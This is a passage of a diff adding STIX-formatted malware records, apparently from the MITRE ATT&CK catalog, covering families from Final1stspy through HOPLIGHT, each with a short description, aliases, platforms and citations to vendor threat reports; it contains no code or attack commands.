FINSPY. Retrieved February 15, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2017/09/zero-day-used-to-distribute-finspy.html" + }, + { + "source_name": "Securelist BlackOasis Oct 2017", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2017, October 16). BlackOasis APT and new targeted attacks leveraging zero-day exploit. Retrieved February 15, 2018.", + "url": "https://securelist.com/blackoasis-apt-and-new-targeted-attacks-leveraging-zero-day-exploit/82732/" + }, + { + "source_name": "Microsoft FinFisher March 2018", + "description": "Allievi, A.,Flori, E. (2018, March 01). FinFisher exposed: A researcher\u2019s tale of defeating traps, tricks, and complex virtual machines. Retrieved July 9, 2018.", + "url": "https://cloudblogs.microsoft.com/microsoftsecure/2018/03/01/finfisher-exposed-a-researchers-tale-of-defeating-traps-tricks-and-complex-virtual-machines/" + } + ] + }, + { + "name": "Final1stspy", + "description": "[Final1stspy](https://attack.mitre.org/software/S0355) is a dropper family that has been used to deliver [DOGCALL](https://attack.mitre.org/software/S0213).(Citation: Unit 42 Nokki Oct 2018)", + "labels": [ + "malware" + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Final1stspy" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "malware--a2282af0-f9dd-4373-9b92-eaf9e11e0c71", + "created": "2019-01-31T00:23:06.022Z", + "modified": "2019-01-31T00:23:06.022Z", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "S0355", + "url": "https://attack.mitre.org/software/S0355" + }, + { + "description": "(Citation: Unit 42 Nokki Oct 2018)", + "source_name": "Final1stspy" + }, + { + "source_name": "Unit 42 Nokki Oct 2018", + "description": "Grunzweig, J. (2018, October 01). NOKKI Almost Ties the Knot with DOGCALL: Reaper Group Uses New Malware to Deploy RAT. Retrieved November 5, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/10/unit42-nokki-almost-ties-the-knot-with-dogcall-reaper-group-uses-new-malware-to-deploy-rat/" + } + ] + }, + { + "name": "Flame", + "description": "Flame is a sophisticated toolkit that has been used to collect information since at least 2010, largely targeting Middle East countries. (Citation: Kaspersky Flame)", + "id": "malware--ff6840c9-4c87-4d07-bbb6-9f50aa33d498", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Flame", + "Flamer", + "sKyWIper" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "labels": [ + "malware" + ], + "created": "2017-05-31T21:33:21.973Z", + "modified": "2019-06-06T14:35:53.759Z", + "external_references": [ + { + "external_id": "S0143", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0143" + }, + { + "description": "(Citation: Kaspersky Flame)", + "source_name": "Flame" + }, + { + "description": "(Citation: Kaspersky Flame) (Citation: Symantec Beetlejuice)", + "source_name": "Flamer" + }, + { + "description": "(Citation: Kaspersky Flame) (Citation: Crysys Skywiper)", + "source_name": "sKyWIper" + }, + { + "source_name": "Kaspersky Flame", + "description": "Gostev, A. (2012, May 28). The Flame: Questions and Answers. Retrieved March 1, 2017.", + "url": "https://securelist.com/the-flame-questions-and-answers-51/34344/" + }, + { + "source_name": "Symantec Beetlejuice", + "description": "Symantec Security Response. (2012, May 31). Flamer: A Recipe for Bluetoothache. Retrieved February 25, 2017.", + "url": "https://www.symantec.com/connect/blogs/flamer-recipe-bluetoothache" + }, + { + "source_name": "Crysys Skywiper", + "description": "sKyWIper Analysis Team. (2012, May 31). sKyWIper (a.k.a. Flame a.k.a. Flamer): A complex malware for targeted attacks. Retrieved September 6, 2018.", + "url": "https://www.crysys.hu/publications/files/skywiper.pdf" + } + ] + }, + { + "name": "FlawedAmmyy", + "description": "[FlawedAmmyy](https://attack.mitre.org/software/S0381) is a remote access tool (RAT) that was first seen in early 2016. The code for [FlawedAmmyy](https://attack.mitre.org/software/S0381) was based on leaked source code for a version of Ammyy Admin, a remote access software.(Citation: Proofpoint TA505 Mar 2018)", + "id": "malware--432555de-63bf-4f2a-a3fa-f720a4561078", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "malware", + "x_mitre_aliases": [ + "FlawedAmmyy" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "labels": [ + "malware" + ], + "created": "2019-05-28T19:07:29.816Z", + "modified": "2019-05-30T17:23:30.432Z", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "S0381", + "url": "https://attack.mitre.org/software/S0381" + }, + { + "description": "Proofpoint Staff. (2018, March 7). Leaked Ammyy Admin Source Code Turned into Malware. Retrieved May 28, 2019.", + "source_name": "Proofpoint TA505 Mar 2018", + "url": "https://www.proofpoint.com/us/threat-insight/post/leaked-ammyy-admin-source-code-turned-malware" + } + ] + }, + { + "name": "FlawedGrace", + "description": "[FlawedGrace](https://attack.mitre.org/software/S0383) is a fully featured remote access tool (RAT) written in C++ that was first observed in late 2017.(Citation: Proofpoint TA505 Jan 2019)", + "id": "malware--43155329-3edf-47a6-9a14-7dac899b01e4", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "malware", + "x_mitre_aliases": [ + "FlawedGrace" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "labels": [ + "malware" + ], + "created": "2019-05-29T14:33:04.253Z", + "modified": "2019-06-07T18:47:42.365Z", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "S0383", + "url": "https://attack.mitre.org/software/S0383" + }, + { + "description": "Schwarz, D. and Proofpoint Staff. (2019, January 9). ServHelper and FlawedGrace - New malware introduced by TA505. Retrieved May 28, 2019.", + "source_name": "Proofpoint TA505 Jan 2019", + "url": "https://www.proofpoint.com/us/threat-insight/post/servhelper-and-flawedgrace-new-malware-introduced-ta505" + } + ] + }, + { + "name": "FruitFly", + "description": "FruitFly is designed to spy on mac users (Citation: objsee mac malware 2017).", + "labels": [ + "malware" + ], + "x_mitre_platforms": [ + "macOS" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "FruitFly" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "malware--4a98e44a-bd52-461e-af1e-a4457de87a36", + "created": "2018-10-17T00:14:20.652Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0277", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0277" + }, + { + "description": "(Citation: objsee mac malware 2017).", + "source_name": "FruitFly" + }, + { + "description": "Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.", + "source_name": "objsee mac malware 2017", + "url": "https://objective-see.com/blog/blog_0x25.html" + } + ] + }, + { + "name": "Fysbis", + "description": "[Fysbis](https://attack.mitre.org/software/S0410) is a Linux-based backdoor used by [APT28](https://attack.mitre.org/groups/G0007) that dates back to at least 2014.(Citation: Fysbis Palo Alto Analysis)", + "id": "malware--50d6688b-0985-4f3d-8cbe-0c796b30703b", + "x_mitre_platforms": [ + "Linux" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Fysbis" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "labels": [ + "malware" + ], + "created": "2019-09-12T17:40:38.303Z", + "modified": "2019-10-14T19:21:25.345Z", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "S0410", + "url": "https://attack.mitre.org/software/S0410" + }, + { + "description": "Bryan Lee and Rob Downs. (2016, February 12). A Look Into Fysbis: Sofacy\u2019s Linux Backdoor. Retrieved September 10, 2017.", + "source_name": "Fysbis Palo Alto Analysis", + "url": "https://researchcenter.paloaltonetworks.com/2016/02/a-look-into-fysbis-sofacys-linux-backdoor/" + } + ] + }, + { + "name": "GLOOXMAIL", + "description": "[GLOOXMAIL](https://attack.mitre.org/software/S0026) is malware used by [APT1](https://attack.mitre.org/groups/G0006) that mimics legitimate Jabber/XMPP traffic. (Citation: Mandiant APT1)", + "labels": [ + "malware" + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "GLOOXMAIL", + "Trojan.GTALK" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "malware--f2e8c7a1-cae1-45c4-baf0-6f21bdcbb2c2", + "created": "2017-05-31T21:32:20.526Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0026", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0026" + }, + { + "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.", + "source_name": "Mandiant APT1", + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" + } + ] + }, + { + "name": "GRIFFON", + "description": "[GRIFFON](https://attack.mitre.org/software/S0417) is a JavaScript backdoor used by [FIN7](https://attack.mitre.org/groups/G0046). (Citation: SecureList Griffon May 2019)", + "id": "malware--04fc1842-f9e4-47cf-8cb8-5c61becad142", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "malware", + "x_mitre_aliases": [ + "GRIFFON" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "labels": [ + "malware" + ], + "created": "2019-10-11T17:29:20.165Z", + "modified": "2019-10-15T17:32:49.571Z", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "S0417", + "url": "https://attack.mitre.org/software/S0417" + }, + { + "source_name": "SecureList Griffon May 2019", + "description": "Namestnikov, Y. and Aime, F. (2019, May 8). FIN7.5: the infamous cybercrime rig \u201cFIN7\u201d continues its activities. Retrieved October 11, 2019.", + "url": "https://securelist.com/fin7-5-the-infamous-cybercrime-rig-fin7-continues-its-activities/90703/" + } + ] + }, + { + "name": "Gazer", + "description": "[Gazer](https://attack.mitre.org/software/S0168) is a backdoor used by [Turla](https://attack.mitre.org/groups/G0010) since at least 2016. (Citation: ESET Gazer Aug 2017)", + "id": "malware--76abb3ef-dafd-4762-97cb-a35379429db4", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Gazer", + "WhiteBear" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Bartosz Jerzman" + ], + "created": "2018-01-16T16:13:52.465Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0168", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0168" + }, + { + "description": "(Citation: ESET Gazer Aug 2017)", + "source_name": "Gazer" + }, + { + "description": "The term WhiteBear is used both for the activity group (a subset of G0010) as well as the malware observed. Based on similarities in behavior and C2, WhiteBear is assessed to be the same as S0168. (Citation: Securelist WhiteBear Aug 2017)", + "source_name": "WhiteBear" + }, + { + "description": "ESET. (2017, August). Gazing at Gazer: Turla\u2019s new second stage backdoor. Retrieved September 14, 2017.", + "source_name": "ESET Gazer Aug 2017", + "url": "https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf" + }, + { + "description": "Kaspersky Lab's Global Research & Analysis Team. (2017, August 30). Introducing WhiteBear. Retrieved September 21, 2017.", + "source_name": "Securelist WhiteBear Aug 2017", + "url": "https://securelist.com/introducing-whitebear/81638/" + } + ], + "labels": [ + "malware" + ] + }, + { + "name": "GeminiDuke", + "description": "[GeminiDuke](https://attack.mitre.org/software/S0049) is malware that was used by [APT29](https://attack.mitre.org/groups/G0016) from 2009 to 2012. (Citation: F-Secure The Dukes)", + "labels": [ + "malware" + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "GeminiDuke" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "malware--199463de-d9be-46d6-bb41-07234c1dd5a6", + "created": "2017-05-31T21:32:36.177Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0049", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0049" + }, + { + "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.", + "source_name": "F-Secure The Dukes", + "url": "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf" + } + ] + }, + { + "name": "Gold Dragon", + "description": "[Gold Dragon](https://attack.mitre.org/software/S0249) is a Korean-language, data gathering implant that was first observed in the wild in South Korea in July 2017. [Gold Dragon](https://attack.mitre.org/software/S0249) was used along with [Brave Prince](https://attack.mitre.org/software/S0252) and [RunningRAT](https://attack.mitre.org/software/S0253) in operations targeting organizations associated with the 2018 Pyeongchang Winter Olympics. (Citation: McAfee Gold Dragon)", + "labels": [ + "malware" + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Gold Dragon" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "malware--b9799466-9dd7-4098-b2d6-f999ce50b9a8", + "created": "2018-10-17T00:14:20.652Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0249", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0249" + }, + { + "description": "(Citation: McAfee Gold Dragon)", + "source_name": "Gold Dragon" + }, + { + "description": "Sherstobitoff, R., Saavedra-Morales, J. (2018, February 02). Gold Dragon Widens Olympics Malware Attacks, Gains Permanent Presence on Victims\u2019 Systems. Retrieved June 6, 2018.", + "source_name": "McAfee Gold Dragon", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/" + } + ] + }, + { + "name": "GravityRAT", + "description": "[GravityRAT](https://attack.mitre.org/software/S0237) is a remote access tool (RAT) and has been in ongoing development since 2016. The actor behind the tool remains unknown, but two usernames have been recovered that link to the author, which are \"TheMartian\" and \"The Invincible.\" According to the National Computer Emergency Response Team (CERT) of India, the malware has been identified in attacks against organization and entities in India. (Citation: Talos GravityRAT)", + "id": "malware--1d1fce2f-0db5-402b-9843-4278a0694637", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "GravityRAT" + ], + "type": "malware", + "x_mitre_version": "1.1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "labels": [ + "malware" + ], + "created": "2018-10-17T00:14:20.652Z", + "modified": "2019-04-24T23:21:59.015Z", + "external_references": [ + { + "external_id": "S0237", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0237" + }, + { + "description": "(Citation: Talos GravityRAT)", + "source_name": "GravityRAT" + }, + { + "description": "Mercer, W., Rascagneres, P. (2018, April 26). GravityRAT - The Two-Year Evolution Of An APT Targeting India. Retrieved May 16, 2018.", + "source_name": "Talos GravityRAT", + "url": "https://blog.talosintelligence.com/2018/04/gravityrat-two-year-evolution-of-apt.html" + } + ] + }, + { + "name": "GreyEnergy", + "description": "[GreyEnergy](https://attack.mitre.org/software/S0342) is a backdoor written in C and compiled in Visual Studio. [GreyEnergy](https://attack.mitre.org/software/S0342) shares similarities with the [BlackEnergy](https://attack.mitre.org/software/S0089) malware and is thought to be the successor of it.(Citation: ESET GreyEnergy Oct 2018)", + "id": "malware--308b3d68-a084-4dfb-885a-3125e1a9c1e8", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "malware", + "x_mitre_aliases": [ + "GreyEnergy" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "labels": [ + "malware" + ], + "created": "2019-01-30T13:53:14.264Z", + "modified": "2019-04-17T22:22:21.777Z", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "S0342", + "url": "https://attack.mitre.org/software/S0342" + }, + { + "description": "(Citation: ESET GreyEnergy Oct 2018)", + "source_name": "GreyEnergy" + }, + { + "description": "Cherepanov, A. (2018, October). GREYENERGY A successor to BlackEnergy. Retrieved November 15, 2018.", + "source_name": "ESET GreyEnergy Oct 2018", + "url": "https://www.welivesecurity.com/wp-content/uploads/2018/10/ESET_GreyEnergy.pdf" + } + ] + }, + { + "name": "H1N1", + "description": "[H1N1](https://attack.mitre.org/software/S0132) is a malware variant that has been distributed via a campaign using VBA macros to infect victims. Although it initially had only loader capabilities, it has evolved to include information-stealing functionality. (Citation: Cisco H1N1 Part 1)", + "id": "malware--f8dfbc54-b070-4224-b560-79aaa5f835bd", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "H1N1" + ], + "type": "malware", + "x_mitre_version": "1.1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "labels": [ + "malware" + ], + "created": "2017-05-31T21:33:15.910Z", + "modified": "2019-04-29T18:23:15.823Z", + "external_references": [ + { + "external_id": "S0132", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0132" + }, + { + "description": "Reynolds, J.. (2016, September 13). H1N1: Technical analysis reveals new capabilities. Retrieved September 26, 2016.", + "source_name": "Cisco H1N1 Part 1", + "url": "http://blogs.cisco.com/security/h1n1-technical-analysis-reveals-new-capabilities" + } + ] + }, + { + "name": "HALFBAKED", + "description": "[HALFBAKED](https://attack.mitre.org/software/S0151) is a malware family consisting of multiple components intended to establish persistence in victim networks. (Citation: FireEye FIN7 April 2017)", + "labels": [ + "malware" + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "HALFBAKED" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "malware--0ced8926-914e-4c78-bc93-356fb90dbd1f", + "created": "2017-12-14T16:46:06.044Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0151", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0151" + }, + { + "description": "Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017.", + "source_name": "FireEye FIN7 April 2017", + "url": "https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html" + } + ] + }, + { + "name": "HAMMERTOSS", + "description": "[HAMMERTOSS](https://attack.mitre.org/software/S0037) is a backdoor that was used by [APT29](https://attack.mitre.org/groups/G0016) in 2015. (Citation: FireEye APT29) (Citation: F-Secure The Dukes)", + "id": "malware--2daa14d6-cbf3-4308-bb8e-213c324a08e4", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "HAMMERTOSS", + "HammerDuke", + "NetDuke" + ], + "type": "malware", + "x_mitre_version": "1.1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "labels": [ + "malware" + ], + "created": "2017-05-31T21:32:29.203Z", + "modified": "2019-10-11T19:07:42.242Z", + "external_references": [ + { + "external_id": "S0037", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0037" + }, + { + "source_name": "FireEye APT29", + "description": "FireEye Labs. (2015, July). HAMMERTOSS: Stealthy Tactics Define a Russian Cyber Threat Group. Retrieved September 17, 2015.", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt-apt29-hammertoss.pdf" + }, + { + "source_name": "F-Secure The Dukes", + "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.", + "url": "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf" + } + ] + }, + { + "name": "HAPPYWORK", + "description": "[HAPPYWORK](https://attack.mitre.org/software/S0214) is a downloader used by [APT37](https://attack.mitre.org/groups/G0067) to target South Korean government and financial victims in November 2016. (Citation: FireEye APT37 Feb 2018)", + "labels": [ + "malware" + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "HAPPYWORK" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "malware--211cfe9f-2676-4e1c-a5f5-2c8091da2a68", + "created": "2018-04-18T17:59:24.739Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0214", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0214" + }, + { + "description": "(Citation: FireEye APT37 Feb 2018)", + "source_name": "HAPPYWORK" + }, + { + "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.", + "source_name": "FireEye APT37 Feb 2018", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf" + } + ] + }, + { + "name": "HARDRAIN", + "description": "[HARDRAIN](https://attack.mitre.org/software/S0246) is a Trojan malware variant reportedly used by the North Korean government. (Citation: US-CERT HARDRAIN March 2018)", + "labels": [ + "malware" + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "HARDRAIN" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "malware--bd0536d7-b081-43ae-a773-cfb057c5b988", + "created": "2018-10-17T00:14:20.652Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0246", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0246" + }, + { + "description": "(Citation: US-CERT HARDRAIN March 2018)", + "source_name": "HARDRAIN" + }, + { + "description": "US-CERT. (2018, February 05). Malware Analysis Report (MAR) - 10135536-F. Retrieved June 11, 2018.", + "source_name": "US-CERT HARDRAIN March 2018", + "url": "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-F.pdf" + } + ] + }, + { + "name": "HAWKBALL", + "description": "[HAWKBALL](https://attack.mitre.org/software/S0391) is a backdoor that was observed in targeting of the government sector in Central Asia.(Citation: FireEye HAWKBALL Jun 2019)", + "id": "malware--12a7450d-b03e-4990-a5b8-b405ab9c803b", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "malware", + "x_mitre_aliases": [ + "HAWKBALL" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "labels": [ + "malware" + ], + "created": "2019-06-20T14:52:45.057Z", + "modified": "2019-07-06T21:31:25.373Z", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "S0391", + "url": "https://attack.mitre.org/software/S0391" + }, + { + "description": "(Citation: FireEye HAWKBALL Jun 2019)", + "source_name": "HAWKBALL" + }, + { + "source_name": "FireEye HAWKBALL Jun 2019", + "description": "Patil, S. and Williams, M.. (2019, June 5). Government Sector in Central Asia Targeted With New HAWKBALL Backdoor Delivered via Microsoft Office Vulnerabilities. Retrieved June 20, 2019.", + "url": "https://www.fireeye.com/blog/threat-research/2019/06/government-in-central-asia-targeted-with-hawkball-backdoor.html" + } + ] + }, + { + "name": "HDoor", + "description": "[HDoor](https://attack.mitre.org/software/S0061) is malware that has been customized and used by the [Naikon](https://attack.mitre.org/groups/G0019) group. (Citation: Baumgartner Naikon 2015)", + "id": "malware--007b44b6-e4c5-480b-b5b9-56f2081b1b7b", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "HDoor", + "Custom HDoor" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "labels": [ + "malware" + ], + "created": "2017-05-31T21:32:40.801Z", + "modified": "2019-04-25T02:33:53.419Z", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "S0061", + "url": "https://attack.mitre.org/software/S0061" + }, + { + "source_name": "Baumgartner Naikon 2015", + "description": "Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf" + } + ] + }, + { + "name": "HIDEDRV", + "description": "[HIDEDRV](https://attack.mitre.org/software/S0135) is a rootkit used by [APT28](https://attack.mitre.org/groups/G0007). It has been deployed along with [Downdelph](https://attack.mitre.org/software/S0134) to execute and hide that malware. (Citation: ESET Sednit Part 3) (Citation: Sekoia HideDRV Oct 2016)", + "labels": [ + "malware" + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "HIDEDRV" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "malware--e669bb87-f773-4c7b-bfcc-a9ffebfdd8d4", + "created": "2017-05-31T21:33:17.272Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0135", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0135" + }, + { + "description": "ESET. (2016, October). En Route with Sednit - Part 3: A Mysterious Downloader. Retrieved November 21, 2016.", + "source_name": "ESET Sednit Part 3", + "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part3.pdf" + }, + { + "description": "Rascagn\u00e8res, P.. (2016, October 27). Rootkit analysis: Use case on HideDRV. Retrieved March 9, 2017.", + "source_name": "Sekoia HideDRV Oct 2016", + "url": "http://www.sekoia.fr/blog/wp-content/uploads/2016/10/Rootkit-analysis-Use-case-on-HIDEDRV-v1.6.pdf" + } + ] + }, + { + "name": "HOMEFRY", + "description": "[HOMEFRY](https://attack.mitre.org/software/S0232) is a 64-bit Windows password dumper/cracker that has previously been used in conjunction with other [Leviathan](https://attack.mitre.org/groups/G0065) backdoors. (Citation: FireEye Periscope March 2018)", + "id": "malware--7451bcf9-e6e6-4a70-bc3d-1599173d0035", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "HOMEFRY" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "labels": [ + "malware" + ], + "created": "2018-04-18T17:59:24.739Z", + "modified": "2019-06-07T15:40:16.121Z", + "external_references": [ + { + "external_id": "S0232", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0232" + }, + { + "description": "(Citation: FireEye Periscope March 2018)", + "source_name": "HOMEFRY" + }, + { + "description": "FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.", + "source_name": "FireEye Periscope March 2018", + "url": "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html" + } + ] + }, + { + "name": "HOPLIGHT", + "description": "[HOPLIGHT](https://attack.mitre.org/software/S0376) is a backdoor Trojan that has reportedly been used by the North Korean government.(Citation: US-CERT HOPLIGHT Apr 2019)", + "id": "malware--454fe82d-6fd2-4ac6-91ab-28a33fe01369", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "HOPLIGHT" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "labels": [ + "malware" + ], + 